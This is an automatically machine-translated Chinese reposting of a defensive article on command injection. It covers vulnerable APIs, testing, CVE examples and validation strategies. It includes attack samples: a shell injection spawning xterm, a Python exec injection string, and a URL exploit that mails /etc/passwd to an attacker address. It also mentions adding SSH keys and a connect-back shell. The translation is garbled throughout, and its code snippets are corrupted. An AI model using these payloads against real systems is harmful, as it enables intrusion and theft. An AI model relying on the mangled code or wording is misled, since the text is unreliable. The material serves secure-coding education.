指挥注射液

Dutch French Spanish Portuguese Italian German Japanese Chinese Korean Russian Arabic Bookmark and Share this Article Original English article
  

在1994年,作者对本教程是坐在前面的一个sgi的电脑运行irix的这只是显示登录屏幕。 它给人选择打印一些文件,并指定印表机使用。 作者想象的是什么执行可能,指定一个字符串表示,实际上并没有指一台打印机,突然有一个管理员窗口一个方框,作者不仅是不应该有机会获得,而且是连登录到。

问题是一个指挥注入攻击,如果用户输入的,这是要作为数据其实可以部分解释为一个指挥的某种形式。 很多时候,这个命令能给予人的控制权,查阅资料,以更多的获取比以往任何时候都打算。

受语言

指挥注射问题是一个隐忧,随时命令和数据都放在直列在一起。 而语言,可以摆脱一些最简单的指挥注入攻击,提供良好的应用编程接口( api )的演出妥善输入验证而言,始终存在着可能性,新的空气污染指数,将引进新种指挥注入攻击。

罪恶解释

指挥注射问题发生时,不可信赖的数据放置在数据是通过某种形式的编译器或解释器,如果数据有可能,如果它的格式化,在某种特定的方式,被视为东西以外的其他资料。

典型的例子,对于这个问题一直是api调用直接呼叫系统命令解释,没有任何验证。 举例来说,旧irix的登录屏幕(如前所述) ,是做一些沿线:

 煤焦buf [ 1024 ] ; snprintf ( buf , "制度达标磷%的" , user_input , sizeof ( buf ) -1 ) ;系统( buf ) ; 

在这种情况下,用户无权无门路,因为它可以被任何人,绝对游荡由一个工作站。 但是,简单地键入文字: 李华明;和xterm & ,一个终端,将弹出的,因为;将结束原指挥系统壳;和xterm的指挥,将创造一个全新的终端窗口随时指挥,与&告诉系统运行过程中,没有挡住了当前进程。 (在windows壳, ampersand元字符的行为,同时作为一个分号对一个unix盒) 。而且,由于登录过程的行政特权,码头,它创造了也会有行政特权!

我们有很多的功能,很多语言很容易受到这种攻击,你会看到。 但是,一个指挥注入攻击并不需要一个函数要求一个系统外壳。 例如,攻击者可能可以利用电话,一语译员。 这是相当受欢迎的,在高层次的语言,如perl和python 。 例如,考虑下面的巨蟒代码:

 高清call_func ( user_input , system_data ) : exec ' special_function_ % ( " %的" ) ' % ( system_data , user_input 

在前面的代码,巨蟒% ,经营者的行为很像* printf specifiers在长他们的比赛价值观在括号与% s值在弦。 因此,本守则,是为了所谓的功能选择系统,通过它的论点,从用户。 举例来说,如果system_data被抽样检验和user_input被李华明,巨蟒将运行代码:

  special_function_sample ( "弗雷德" ) 

和这个代码将运行在同一范围说, exec声明。

攻击者控制user_input可以执行任何巨蟒代码,他们希望与这个过程中,简单地增加一个引用,然后是右圆括号和分号。 例如,攻击者可以尝试字符串:

  李华明" ) ;打印( "富 

这将导致该函数运行以下代码:

  special_function_sample ( "弗雷德" ) ;打印( "富" ) 

这不仅会做程序员的意图,而且也将打印美孚。 攻击者可以从字面上做任何事情,包括删除档案与特权的程序,或什至使网络连接。 如果这种灵活性,让攻击者获得更多特权,他们比了,否则,这是一个安全问题。

许多这些问题发生时,控制施工和数据并列,并攻击者可以使用一个特殊的性格改变的背景下回到控制结构的一部分。 在案件指挥炮弹,有许多神奇的人物,可以做这件事。 举例来说,在大部分的unix一样的机器,如果攻击者加入一个分号(完一份声明中) ,反引号(数据和backticks之间获得枪决代码) ,或竖线(一切后,大律师公会,当作另一种,相关程序) ,他们就可以任意的命令。 有其他特殊字符,可以改变的背景下,从数据,以控制;这些都只是最明显的。

一个共同的技术,为缓解问题,运行命令,是用一个宣传短片,请直接指挥,如果没有经历一个空壳。 举例来说,对一个unix箱中,有该execv ( )系列函数,而跳过了壳,并要求该节目直接,让争论弦乐团。

这是一件好事,但它并不总是不能解决问题,尤其是因为产生程序本身可能把数据旁边重要控制结构的一部分。 举例来说,呼唤execv ( )就巨蟒节目中,然后通过参数列表以一个exec将是坏。 我们甚至看见的情况下,人们execv ( ) ' d / bin / sh的(指挥壳) ,完全忽略了这一点。

相关罪孽

数的捷联惯导系统,可以被看作是特定种类的指挥注射问题。 sql注入,显然是一种特定的指挥注入攻击。 格式串问题,可以被看作是一种指挥注射液的问题,也是如此。 这是因为攻击者需要的价值,程序员,预计可数据,然后插入阅读和书写的命令(例如, % n和specifier是一个写命令) 。 这些特殊情况是如此普遍,我们已经处理,将它们分开。

这也是最核心的问题,在跨站点脚本,如果攻击者可以选择数据看起来像,尤其是网络控制要素,如果这些数据没有得到妥善验证。

发现单模式

这里是内容模式:

  • 命令(或控制信息)和数据放在直列明年向对方汇报。

  • 也有一些人认为数据可能会被当作指挥,往往是因为文字有特殊的含义,如引号和分号。

  • 控制命令,将给予用户更多的权限比他们已经有了。

发现有人在单代码审查

有许多api调用和语言结构,跨越多种不同的编程语言,很容易受到这个问题。 一个好方法,以检讨典为这个问题,是先确定每个构建可能被用来引用任何类型的指挥处理器(包括指挥炮弹,一个数据库,或编程语言解释器本身) 。 然后,通过看节目,看看是否有这些建构都是实际使用。 如果有的话,然后检查,看看是否有合适的防御措施,是采取的。 而防卫措施有很大差别的基础上,单仲偕,一个通常被怀疑的否定清单为基础的方式,并主张允许上市的办法(见"赎回步骤"一节如下) 。

以下是一些较受欢迎的建构人士担忧:

语言 兴建 评论
炭/炭+ 系统( ) , popen ( )所,
execlp ( ) , execvp ( )
见posix
炭/炭+ 该shellexecute ( )系列
职能; _wsystem ( )
win32的唯一
perl中 系统 如果所谓作为一个论据,可以
致电壳牌如果字符串有
壳牌metacharacters 。
perl中 exec 类似的制度,除完
perl的进程。
perl中 和backticks ( ` ) 通常会调用一个空壳。
perl中 公开 如果第一个或最后一个字符的文件名是一个竖线,然后perl中打开了一个管道。 这是通过电话向壳,而其余的文件变成数据通过空壳。
perl中 竖线运营商 这种行为就好像的posix
popen ( )所呼叫。
perl中 eval 评价弦乐说法
作为perl的代码。
perl中 正则表达式/英运营商 评价一种模式匹配的部分字符串作为perl的代码。
巨蟒 执行, eval 数据获得的评价作为代码。
巨蟒 os.system , os.popen 这些代表背后的posix来电。
巨蟒 execfile 这是类似exec与评审,但需要将数据从指定文件。 如果攻击者可以影响文件的内容,同样的问题发生。
巨蟒 投入 相当于eval ( raw_input ( ) ) ,因此,这实际上是执行用户的文本代码!
巨蟒 编译 意图编纂文成典是表面上说,它的会得到运行!
爪哇 class.forname (字符串名称) , class.newinstance ( ) java字节码可动态加载并运行。 在某些情况下,代码将javascript时,从一个不可信赖的用户(特别是当写的applet ) 。
爪哇 runtime.exec ( ) 爪哇尝试做安全的事,不给任何直接设施,以所谓的壳。 但炮弹,可以方便一些任务,很多人会说这与一种说法指出,明确引用空壳。

测试技术,以找出单

一般情况下,应该做的是,以每投入,觉得什么样的指挥壳,它有可能获得通过起飞,然后再试图贴在每个元字符为,壳牌公司,看看它的冲击。 当然,你要选择投入,在某种意义上说,如果元字符工程,东西可以衡量的,将实际发生的。

举例来说,如果你想要测试看看,如果数据是传递给一个unix的壳中,增加一个分号,然后再邮寄自己的东西。 但是,如果这个数据是放在一个引号字符串,你可能需要插入结束引述走出来。 谈及这点,你可能有一个测试用例即插入引用后,有一个分号,然后指挥电子邮件,你自己的东西。 检查如果撞车或其他不坏的东西,以及如果你得到电子邮件;你的测试案例可能不履行精确攻击序列,但也可能是足够接近,它仍然可以说明问题。 虽然有很多可能的防线,在实践中,你可能不会需要太花式。 通常你可以创建一个简单的程序,造成了多少排列各metacharacters (控制字有特殊的含义,如; )和指令,发送者的各种投入,并看看是否有不愉快的结果。

工具公司,如spi的动态和自动化watchfire公司这种测试的基于网络的应用。

例如捷联惯导系统

以下条目关于共同弱点和风险( cve的)的网站( http://cve.mitre.org )的例子指挥注入攻击。

灿2001年至1187年

该csvform perl的通用网关接口( cgi )脚本增添纪录,以一个逗号分隔值( csv )的数据库文件。 在omnihttpd 2.07网络服务器船舶与脚本所谓statsconfig.pl 。 经过查询正在被解析,文件名(通过在文件参数)获得通过,以下面的代码:

 分modify_csv (如果(公开组( csv , $ _ [ 0 ] ) ) ( … … ) 

有没有输入验证所做的文件也不行。 因此你可以使用残忍的骗术,加入管到去年底,该文件名。

一个例子利用将访问下列网址:

  http://www.example.com/cgi-bin/csvform.pl?file=mail % 20attacker@attacker.org < / etc / passwd中| 

对unix系统,这将通过电子邮件系统密码文件,攻击者。

注意的是百分之二十,是一个url编码空间。 解码也做不成前cgi脚本获得通过,它的数据。

例如利用我们给予,也不是人人感兴趣的,这些日子,因为在unix密码文件只给用户。 攻击者可能会决定做一些事情,反而将让他们在日志中,如写一公共钥匙〜 / .ssh / authorized_keys 。 或者,攻击者可以利用这两个上传并运行任意程序,他们想要写字节到一个文件。 因为perl是很明显已经安装任何票房运行此,一个明显的事,将写一个简单的perl脚本连接回给攻击者,以及连接,让攻击者指挥壳。

灿2002年至0652年

该irix的文件系统安装服务允许远程文件系统安装超过rpc的要求,并普遍安装了默认。 原来,直到该漏洞被发现于2002年,其中许多档案检查该服务器需要作出接到一个偏远的要求落实用popen ( )所执行的命令的命令行模式。 使用的资料,在这项呼吁采取直接从远程用户,和一个设备齐全放在分号在rpc的参数将允许攻击者运行shell命令作为根,对票房。

赎回步骤

显然就应该做的,是永远不会调用一个命令解释的任何一类。 但是,这并不总是切实可行的,特别是当使用一个数据库。 同样,他们也将只是作为有用的说,如果你已经用命令壳,不使用任何外部数据。 刚刚过去是没有实际可行的建议,在大多数情况下。

唯一有意义的答案是这样做验证。 道路赎回,是很简单这里:

  1. 检查数据,以确保它是好的。

  2. 采取适当的行动,当数据是无效的。

数据验证

在最高级别上,你有两个选择。 您可以验证一切,你要发布到外部过程中,或者,你可以只验证部分,是投入不可信赖的来源。 其一是好的,只要你彻底一下。

它的通常是一个好主意,以验证外部数据之前,你使用它。 有一对夫妇的这种情况的原因。 首先,它确保数据得到检验每个数据路径导致这一用途。 第二,语义的数据往往是最好的理解,正确的使用前的数据。 这可以让你得到尽可能准确,如果你输入验证检查。 同时它又是一个很好的防御的可能性的数据被修改的,在一个坏的方法后检查。

最终,然而,深度防卫的策略是最好的。 这也是很好的检查数据,因为它进来,让不存在的风险,它被用于未经检查其他地方。 尤其是如果有很多的地方,这些数据可以被滥用,它可能很容易忽略检查,在一些地方。

有三个突出的方法,以确定数据有效期:

  • 该否定清单方法 ,你看看火柴显示的数据是无效的,并接受一切无效。

  • [允许名单的做法,你看,为一套有效的数据,并拒绝接受任何其他(即使有一些机会,这不是问题) 。

  • "引用"的方法 ,你可以将数据,使不可能有什么不安全的。

所有这些方式有缺点,你可能会忘记一些重要的。 在案件否认名单,并引用了,这可以明显地有坏的安全影响。 事实上,它的可能性不大,你在拍摄完与安全的软件,采用否定清单方法,如果你传递数据,以一些种系统(如贝壳) ,因为名单上的人物,可以有特殊的意义其实相当冗长。 对于一些制度中,只约以外的任何信件和数字,可以有一个特殊的意义。 引用也是更为困难比人们可能认为。 举例来说,当一个人是写的代码进行引用,为一些种指挥处理器,它的共同采取一个字符串,并坚持它加上引号。 如果你不小心的话,攻击者就可以用自己的引号中。 而且,有些指挥处理器,甚至还有metacharacters有含义内引用字符串(这包括在unix指挥贝壳) 。

给你的感觉是多么困难,可以尝试去写下每一个unix的壳元字符就你自己的。 包括一切可以采取的控制,而不是数据。 到底有多大你的名单?

我们的名单中包括每一块标点符号除@ , _ , + , : ,和逗号。 我们也不会相信那些字是普遍安全。 有可能是炮弹,他们事实上不是这样的。

你可能会认为你有一些其他的字永远不能被解释具有特殊的意义。 减号? 可能被解释为信令是一个良好的开始命令行选项,如果它在一开始的一句话。 如何对克拉( ^ ) ? 你知道它的替代? 如何对%的迹象? 而它往往可能无害时,其解释为元字符,它是一个元字符,在某些情况下,因为它的工作控制。 这个开头( 〜 ) ,是类似的,因为它会在某些情况下,扩大到主目录的一个用户,如果它在一开始的一句话,但是,否则它不会被认为是元字符。 这可能是一个信息泄漏或更糟的是,尤其是如果它是一个载体,看到一个部分的文件系统,该计画应该无法看到的。 例如,你可能坚持你的计画/家居/怎么/应用,然后再不让双点弦。 但是,用户可能无法获得任何/家居/怎么只prefixing同〜怎么。

即使空间,可以控制字,因为它们被用来单独语义之间的争论或命令。 有许多类型的空间,与此行为,其中包括标签,新线,运输效益,形成饲料,垂直的标签。

再加上,就不可能有控制字一样,按ctrl三维和无品格,可以有不良影响。

总括而言,它更容易被使用,让名单。 如果你打算用一个否定清单,你最好被难以置信确保自己涵盖所有你的基地。 但是,请允许名单,仅可能是不够的。 教育是绝对必要的,因为即使你使用一个允许清单,你可能会允许位或浪没有意识到可能发生的事情,在您的计划,从安全的角度考虑。

另一个问题,与允许名单的是,你可能有不愉快的用户,因为041中,应允许却不是。 例如,你可能不会允许一个" + "在一个电子邮件地址,但找不到人喜欢用它们来分辨谁,他们正在使他们的电子邮件地址。 尽管如此,允许名单的做法是可取的强烈向其他两种做法。

考虑的情况下,你的价值来自用户,你在拍摄当作一个文件。 让我们说,你做的审定等(这个例子是在python ) :

 为煤焦为文件名:如果(不烧焦,在string.ascii_letters并没有烧焦在string.digits和焦炭< > '.'):提高" inputvalidationerror " 

这使得期,使用户可以键入档案与扩展,但忘了关于强调,这是常见的。 但是随着否定清单方法,你可能没有想过不让斜线,这将是坏;攻击者可以利用它加上点,以获取其他地方的档案,对文件系统,超越目前的目录中。 以引用的方式,你会不得不写一个更复杂的句法分析的例行公事。

它的社会,使用正则表达式,以进行此项种考验。 正则表达式是很容易得到错误的,但是,尤其是当它们变得复杂。 如果你要处理嵌套构造等,忘记它。

一般来说,从安全的观点,它的好,以确保安全比抱歉。 用正则表达式,可导致容易,而不是安全的做法,尤其是当最精确的检查,将需要更复杂的语义检查比一个简单的模式匹配。

当检查失败

有三个一般战略,以处理一个失败的。 他们甚至还没有互相排斥的。 现在的情况很好,始终做到至少两个第一:

  • 信号的一个错误(当然,拒绝运行指挥系统-是) 。 小心你怎样报告错误,但。 如果你只是照搬坏数据备份,即有可能成为一个基础,跨站点脚本攻击。 你也不想给攻击者太多的信息(尤其是如果该检查使用运行时配置数据) ,所以有时最好的,以简单地说"无效"字,或其他一些含糊的回应。

  • 日志误差,其中包括所有有关的数据。 注意伐木过程本身并不成为一个点的攻击;一些测井系统接受格式化字符,并试图天真日志一些数据(如运输效益和linefeeds )最终可能腐蚀日志。

  • 修改数据,以有效,但无论是将它替换默认值或改造它。

我们一般不推荐第三种选择。 这不仅可以你犯了一个错误,而且还当你不要弄错了,但最终用户那样,语义,可出乎预料。 它的方便简单地失败,这样做安全。

额外的防御措施

如果你碰巧使用perl中,语言中有设施,以帮助你发现这种误差在运行时使用。 它的所谓污点模式。 基本思路是, perl中,将不会让你送unsanitized数据,以其中的坏上述职能。 但是,检查只能在污点模式,所以你得不到好处,如果你不使用它。 再加上,你可以不小心联合国污点数据没有真正验证了什么。 还有其他一些次要的限制,也使现在的情况很好,不要仅仅依靠这一机制。 尽管如此,它仍是一个很大的测试工具,而且通常值得一开机之一,你的安全防护。

为共同api调用援引指挥处理器,你可能会想要写自己的包装宣传短片,他们说,是否允许名单过滤,并抛出了一个例外,如果输入的是坏的。 这不应该是唯一的输入验证你做的,因为很多时候,它的更好的演出更详细的理智检查数据值。 但是,它是一个很好的第一道防线,它的易于执行。 您可以使封套取代"坏"的功能,或者你也可以使用一个简单的搜索工具的代码审计,以找到所有事例中,你错过了,并迅速做出正确的更换。

结论

  • 履行输入验证所有输入,然后才到一个指挥处理器。

  • 这样处理失败安全,如果一个输入验证检查失败。

  • 不通过盗版输入任何命令处理器,即使意图是使投入将只是数据。

  • 不使用否定清单方法,除非你是百分之百地相信,你是占所有可能性。

  • 考虑避免经常表达式输入验证;反之,写简单而明确validators韩

这是一篇文章说,由亨得拉芳
免责声明:我们的网站是不负责所载资料由本条规定。 这篇文章根本没有反映看法,意见,思想或信仰的文章目录中的工作人员。

翻译预告:文章"指挥注射液"被翻译使用的自动翻译服务。 我们真诚地道歉,对任何翻译错误发生。 谢谢你的谅解。


Online: 606 users browsing the articles directory